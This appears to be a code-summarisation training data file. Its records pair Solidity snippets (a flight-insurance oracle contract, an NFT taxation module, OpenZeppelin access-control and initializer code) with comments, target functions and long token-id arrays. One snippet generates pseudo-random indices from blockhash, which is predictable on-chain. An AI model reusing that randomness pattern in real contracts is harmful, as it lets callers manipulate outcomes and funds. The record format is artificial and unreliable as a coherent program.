function getRandomIndex(address account) internal returns (uint8) {
uint8 maxValue = 10;
// Pseudo random number...the incrementing nonce adds variation
uint8 random = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - nonce++), account))) % maxValue);
if (nonce > 250) {
nonce = 0; // Can only fetch blockhashes for last 256 blocks so we adapt
}
return random;
}
// endregion
/**
* @dev Fallback function for funding smart contract.
*
*/
function() external payable {
}
}
interface IFlightSuretyData {
function isOperational() public view returns(bool);
function isFunded(address needle) public view returns(bool);
function isRegistered(address needle) public view returns(bool);
function getRegisteredAirlineCount() external view returns(uint256);
function getFundedAirlineCount() external view returns(uint256);
function registerAirline(address applicant) external;
function fundAirline(address airline, uint256 funds) external;
function getAllFundedAirlines() external view returns (address[]);
function registerFlight(uint256 time, string flightNo, address airline, uint8 status) external;
function getFlightStatus(address airline, string flightNo, uint256 time) external returns (uint8);
function buy(address insuree, bytes32 key) external;
function isAlreadyInsured(address insuree, bytes32 key) external view returns(bool);
function updateFlightStatus(address airline, string flightNo, uint256 time, uint8 statusCode) external;
function credit(address airline, string flight, uint256 timestamp, uint256 credit) external;
function claim(address insuree) external;
}
| Generate a request for oracles to fetch flight information Generate a unique key for storing the request | function fetchFlightStatus(address airline, string flight, uint256 timestamp) external {
uint8 index = getRandomIndex(msg.sender);
bytes32 key = keccak256(abi.encodePacked(index, airline, flight, timestamp));
emit OracleRequest(index, airline, flight, timestamp);
}
| 12,872,488 | [
1,
4625,
279,
590,
364,
578,
69,
9558,
358,
2158,
25187,
1779,
6654,
279,
3089,
498,
364,
15729,
326,
590,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2158,
24243,
1482,
12,
2867,
23350,
1369,
16,
533,
25187,
16,
2254,
5034,
2858,
13,
3903,
288,
203,
3639,
2254,
28,
770,
273,
20581,
1016,
12,
3576,
18,
15330,
1769,
203,
203,
3639,
1731,
1578,
498,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
1615,
16,
23350,
1369,
16,
25187,
16,
2858,
10019,
203,
203,
3639,
3626,
28544,
691,
12,
1615,
16,
23350,
1369,
16,
25187,
16,
2858,
1769,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// contracts/token/modules/interfaces/Taxation.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "./interfaces/ITaxation.sol";
import "./Valuation.sol";
import "./ERC721.sol";
import "./Remittance.sol";
import "./Beneficiary.sol";
abstract contract Taxation is
ITaxation,
ERC721,
Valuation,
Remittance,
Beneficiary
{
//////////////////////////////
/// State
//////////////////////////////
/// @notice Mapping from token ID to taxation collected over lifetime in Wei.
mapping(uint256 => uint256) public taxationCollected;
/// @notice Mapping from token ID to taxation collected since last transfer in Wei.
mapping(uint256 => uint256) private _taxCollectedSinceLastTransfer;
/// @notice Percentage taxation rate. e.g. 5% or 100%
/// @dev Granular to an additionial 10 zeroes.
/// e.g. 100% => 1000000000000
/// e.g. 5% => 50000000000
mapping(uint256 => uint256) internal _taxNumerators;
uint256 private constant TAX_DENOMINATOR = 1000000000000;
/// @notice Over what period, in days, should taxation be applied?
mapping(uint256 => uint256) internal _collectionFrequencies;
/// @notice Mapping from token ID to Unix timestamp when last tax collection occured.
/// @dev This is used to determine how much time has passed since last collection and the present
/// and resultingly how much tax is due in the present.
/// @dev In the event that a foreclosure happens AFTER it should have, this
/// variable is backdated to when it should've occurred. Thus: `_chainOfTitle` is
/// accurate to the actual possession period.
mapping(uint256 => uint256) private _lastCollectionTimes;
/// @notice Mapping from token ID to funds for paying tax ("Deposit") in Wei.
mapping(uint256 => uint256) private _deposits;
//////////////////////////////
/// Events
//////////////////////////////
/// @notice Alert token foreclosed.
/// @param tokenId ID of token.
/// @param prevOwner Address of previous owner.
event LogForeclosure(uint256 indexed tokenId, address indexed prevOwner);
/// @notice Alert tax collected.
/// @param tokenId ID of token.
/// @param collected Amount in wei.
event LogCollection(uint256 indexed tokenId, uint256 indexed collected);
//////////////////////////////
/// Modifiers
//////////////////////////////
/// @notice Envokes tax collection.
/// @dev Tax collection is triggered by an external envocation of a method wrapped by
/// this modifier.
/// @param tokenId_ ID of token to collect tax for.
modifier _collectTax(uint256 tokenId_) {
collectTax(tokenId_);
_;
}
//////////////////////////////
/// Public Methods
//////////////////////////////
/// @notice Collects tax.
/// @param tokenId_ ID of token to collect tax for.
/// @dev Strictly envoked by modifier but can be called publically.
function collectTax(uint256 tokenId_) public {
uint256 valuation = valuationOf(tokenId_);
// There's no tax to be collected on an unvalued token.
if (valuation == 0) return;
// If valuation > 0, contract has not foreclosed.
uint256 owed = _taxOwed(tokenId_);
// Owed will be 0 when the token is owned by its beneficiary.
// i.e. no tax is owed.
if (owed == 0) return;
// If foreclosure should have occured in the past, last collection time will be
// backdated to when the tax was last paid for.
if (foreclosed(tokenId_)) {
_setLastCollectionTime(tokenId_, _backdatedForeclosureTime(tokenId_));
// Set remaining deposit to be collected.
owed = depositOf(tokenId_);
} else {
_setLastCollectionTime(tokenId_, block.timestamp);
}
// Normal collection
_setDeposit(tokenId_, depositOf(tokenId_) - owed);
taxationCollected[tokenId_] += owed;
_setTaxCollectedSinceLastTransfer(
tokenId_,
taxCollectedSinceLastTransferOf(tokenId_) + owed
);
emit LogCollection(tokenId_, owed);
/// Remit taxation to beneficiary.
_remit(beneficiaryOf(tokenId_), owed, RemittanceTriggers.TaxCollection);
_forecloseIfNecessary(tokenId_);
}
/// @dev See {ITaxation.deposit}
function deposit(uint256 tokenId_)
public
payable
override
_onlyApprovedOrOwner(tokenId_)
_collectTax(tokenId_)
{
_setDeposit(tokenId_, depositOf(tokenId_) + msg.value);
}
/// @dev See {ITaxation.withdrawDeposit}
function withdrawDeposit(uint256 tokenId_, uint256 wei_)
public
override
_onlyApprovedOrOwner(tokenId_)
_collectTax(tokenId_)
{
_withdrawDeposit(tokenId_, wei_);
}
/// @dev See {ITaxation.exit}
function exit(uint256 tokenId_)
public
override
_onlyApprovedOrOwner(tokenId_)
_collectTax(tokenId_)
{
_withdrawDeposit(tokenId_, depositOf(tokenId_));
}
//////////////////////////////
/// Public Getters
//////////////////////////////
/// @dev See {ITaxation.taxCollectedSinceLastTransferOf}
function taxCollectedSinceLastTransferOf(uint256 tokenId_)
public
view
override
_tokenMinted(tokenId_)
returns (uint256)
{
return _taxCollectedSinceLastTransfer[tokenId_];
}
/// @dev See {ITaxation.taxRateOf}
function taxRateOf(uint256 tokenId_)
public
view
override
_tokenMinted(tokenId_)
returns (uint256)
{
return _taxNumerators[tokenId_];
}
/// @dev See {ITaxation.collectionFrequencyOf}
function collectionFrequencyOf(uint256 tokenId_)
public
view
override
_tokenMinted(tokenId_)
returns (uint256)
{
return _collectionFrequencies[tokenId_];
}
/// @dev See {ITaxation.taxOwedSince}
function taxOwedSince(uint256 tokenId_, uint256 time_)
public
view
override
_tokenMinted(tokenId_)
returns (uint256 taxDue)
{
uint256 valuation = valuationOf(tokenId_);
return
(((valuation * time_) / collectionFrequencyOf(tokenId_)) *
taxRateOf(tokenId_)) / TAX_DENOMINATOR;
}
/// @dev See {ITaxation.taxOwed}
function taxOwed(uint256 tokenId_)
public
view
override
returns (uint256 amount, uint256 timestamp)
{
return (_taxOwed(tokenId_), block.timestamp);
}
/// @dev See {ITaxation.lastCollectionTimeOf}
function lastCollectionTimeOf(uint256 tokenId_)
public
view
override
returns (uint256)
{
return _lastCollectionTimes[tokenId_];
}
/// @dev See {ITaxation.depositOf}
function depositOf(uint256 tokenId_)
public
view
override
_tokenMinted(tokenId_)
returns (uint256)
{
return _deposits[tokenId_];
}
/// @dev See {ITaxation.withdrawableDeposit}
function withdrawableDeposit(uint256 tokenId_)
public
view
override
returns (uint256)
{
if (foreclosed(tokenId_)) {
return 0;
} else {
return depositOf(tokenId_) - _taxOwed(tokenId_);
}
}
/// @dev See {ITaxation.foreclosed}
function foreclosed(uint256 tokenId_) public view override returns (bool) {
uint256 owed = _taxOwed(tokenId_);
if (owed >= depositOf(tokenId_)) {
return true;
} else {
return false;
}
}
/// @dev See {ITaxation.foreclosureTime}
function foreclosureTime(uint256 tokenId_)
public
view
override
returns (uint256)
{
uint256 taxPerSecond = taxOwedSince(tokenId_, 1);
uint256 withdrawable = withdrawableDeposit(tokenId_);
if (withdrawable > 0) {
// Time until deposited surplus no longer surpasses amount owed.
return block.timestamp + withdrawable / taxPerSecond;
} else if (taxPerSecond > 0) {
// Token is active but in foreclosed state.
// Returns when foreclosure should have occured i.e. when tax owed > deposits.
return _backdatedForeclosureTime(tokenId_);
} else {
// Actively foreclosed (valuation is 0)
return lastCollectionTimeOf(tokenId_);
}
}
//////////////////////////////
/// Internal Methods
//////////////////////////////
/// @notice Forecloses if no deposit for a given token.
/// @param tokenId_ ID of token to potentially foreclose.
function _forecloseIfNecessary(uint256 tokenId_) internal {
// If there are not enough funds to cover the entire amount owed, `__collectTax`
// will take whatever's left of the deposit, resulting in a zero balance.
if (depositOf(tokenId_) == 0) {
// Unset the valuation
_setValuation(tokenId_, 0);
// Become steward of asset (aka foreclose)
address currentOwner = ownerOf(tokenId_);
_transfer(currentOwner, address(this), tokenId_);
emit LogForeclosure(tokenId_, currentOwner);
}
}
/// @notice Withdraws deposit back to its owner.
/// @dev Parent callers must enforce `ownerOnly(tokenId_)`.
/// @param tokenId_ ID of token to withdraw deposit for.
/// @param wei_ Amount of Wei to withdraw.
function _withdrawDeposit(uint256 tokenId_, uint256 wei_) internal {
// If triggered with no wei, return.
if (wei_ == 0) return;
// Note: Can withdraw whole deposit, which immediately triggers foreclosure.
require(wei_ <= depositOf(tokenId_), "Cannot withdraw more than deposited");
address currentOwner = ownerOf(tokenId_);
require(currentOwner != address(this), "Cannot withdraw deposit to self");
_setDeposit(tokenId_, depositOf(tokenId_) - wei_);
_remit(currentOwner, wei_, RemittanceTriggers.WithdrawnDeposit);
_forecloseIfNecessary(tokenId_);
}
/// @notice Collect Tax
function _beforeTokenTransfer(
address from_,
address to_,
uint256 tokenId_
) internal virtual override(ERC721) {
collectTax(tokenId_);
super._beforeTokenTransfer(from_, to_, tokenId_);
}
/// @notice Reset tax collected
function _afterTokenTransfer(
address from_,
address to_,
uint256 tokenId_
) internal virtual override(ERC721) {
_setTaxCollectedSinceLastTransfer(tokenId_, 0);
super._afterTokenTransfer(from_, to_, tokenId_);
}
//////////////////////////////
/// Internal Setters
//////////////////////////////
/// @notice Sets tax collected since last transfer.
/// @param tokenId_ ID of token.
/// @param amount_ Amount in Wei.
function _setTaxCollectedSinceLastTransfer(uint256 tokenId_, uint256 amount_)
internal
{
_taxCollectedSinceLastTransfer[tokenId_] = amount_;
}
/// @notice Sets last collection time for a given token.
/// @param tokenId_ ID of token.
/// @param collectionTime_ Timestamp.
function _setLastCollectionTime(uint256 tokenId_, uint256 collectionTime_)
internal
_tokenMinted(tokenId_)
{
_lastCollectionTimes[tokenId_] = collectionTime_;
}
/// @notice Internal tax rate setter.
/// @dev Should be invoked immediately after calling `#_safeMint`
/// @param tokenId_ Token to set
/// @param rate_ The taxation rate up to 10 decimal places. See `_taxNumerators` declaration.
function _setTaxRate(uint256 tokenId_, uint256 rate_)
internal
_tokenMinted(tokenId_)
{
_taxNumerators[tokenId_] = rate_;
}
/// @notice Internal period setter.
/// @dev Should be invoked immediately after calling `#_safeMint`
/// @param tokenId_ Token to set
/// @param days_ How many days are between subsequent tax collections?
function _setCollectionFrequency(uint256 tokenId_, uint256 days_)
internal
_tokenMinted(tokenId_)
{
_collectionFrequencies[tokenId_] = days_ * 1 days;
}
/// @notice Sets deposit for a given token.
/// @param tokenId_ ID of token.
/// @param amount_ New deposit amount.
function _setDeposit(uint256 tokenId_, uint256 amount_) internal {
_deposits[tokenId_] = amount_;
}
//////////////////////////////
/// Internal Getters
//////////////////////////////
/// @notice How much is owed from the last collection until now?
/// @param tokenId_ ID of token requesting amount for.
/// @return Tax Due in wei
function _taxOwed(uint256 tokenId_) internal view returns (uint256) {
// If the token is owned by its beneficiary, nothing is owed.
// (e.g. beneficiary wrapped a token).
if (ownerOf(tokenId_) == beneficiaryOf(tokenId_)) return 0;
uint256 timeElapsed = block.timestamp - _lastCollectionTimes[tokenId_];
return taxOwedSince(tokenId_, timeElapsed);
}
/// @notice Returns the time when tax owed initially exceeded deposits.
/// @dev last collected time + ((time_elapsed * deposit) / owed)
/// @dev Returns within +/- 2s of previous values due to Solidity rounding
/// down integer division without regard for significant digits, which produces
/// variable results e.g. `599.9999999999851` becomes `599`.
/// @param tokenId_ ID of token requesting
/// @return Unix timestamp
function _backdatedForeclosureTime(uint256 tokenId_)
internal
view
returns (uint256)
{
uint256 last = lastCollectionTimeOf(tokenId_);
uint256 timeElapsed = block.timestamp - last;
return last + ((timeElapsed * depositOf(tokenId_)) / _taxOwed(tokenId_));
}
}
| @notice Forecloses if no deposit for a given token. @param tokenId_ ID of token to potentially foreclose. If there are not enough funds to cover the entire amount owed, `__collectTax` will take whatever's left of the deposit, resulting in a zero balance. Unset the valuation Become steward of asset (aka foreclose) | function _forecloseIfNecessary(uint256 tokenId_) internal {
if (depositOf(tokenId_) == 0) {
_setValuation(tokenId_, 0);
address currentOwner = ownerOf(tokenId_);
_transfer(currentOwner, address(this), tokenId_);
emit LogForeclosure(tokenId_, currentOwner);
}
}
| 12,869,525 | [
1,
13573,
7550,
2420,
309,
1158,
443,
1724,
364,
279,
864,
1147,
18,
225,
1147,
548,
67,
1599,
434,
1147,
358,
13935,
895,
4412,
18,
971,
1915,
854,
486,
7304,
284,
19156,
358,
5590,
326,
7278,
3844,
2523,
329,
16,
1375,
972,
14676,
7731,
68,
903,
4862,
15098,
1807,
2002,
434,
326,
443,
1724,
16,
8156,
316,
279,
3634,
11013,
18,
31769,
326,
21748,
367,
605,
557,
1742,
384,
359,
1060,
434,
3310,
261,
581,
69,
895,
4412,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
1405,
4412,
26034,
12,
11890,
5034,
1147,
548,
67,
13,
2713,
288,
203,
565,
309,
261,
323,
1724,
951,
12,
2316,
548,
67,
13,
422,
374,
13,
288,
203,
1377,
389,
542,
58,
700,
367,
12,
2316,
548,
67,
16,
374,
1769,
203,
203,
1377,
1758,
783,
5541,
273,
3410,
951,
12,
2316,
548,
67,
1769,
203,
203,
1377,
389,
13866,
12,
2972,
5541,
16,
1758,
12,
2211,
3631,
1147,
548,
67,
1769,
203,
203,
1377,
3626,
1827,
13573,
20823,
12,
2316,
548,
67,
16,
783,
5541,
1769,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
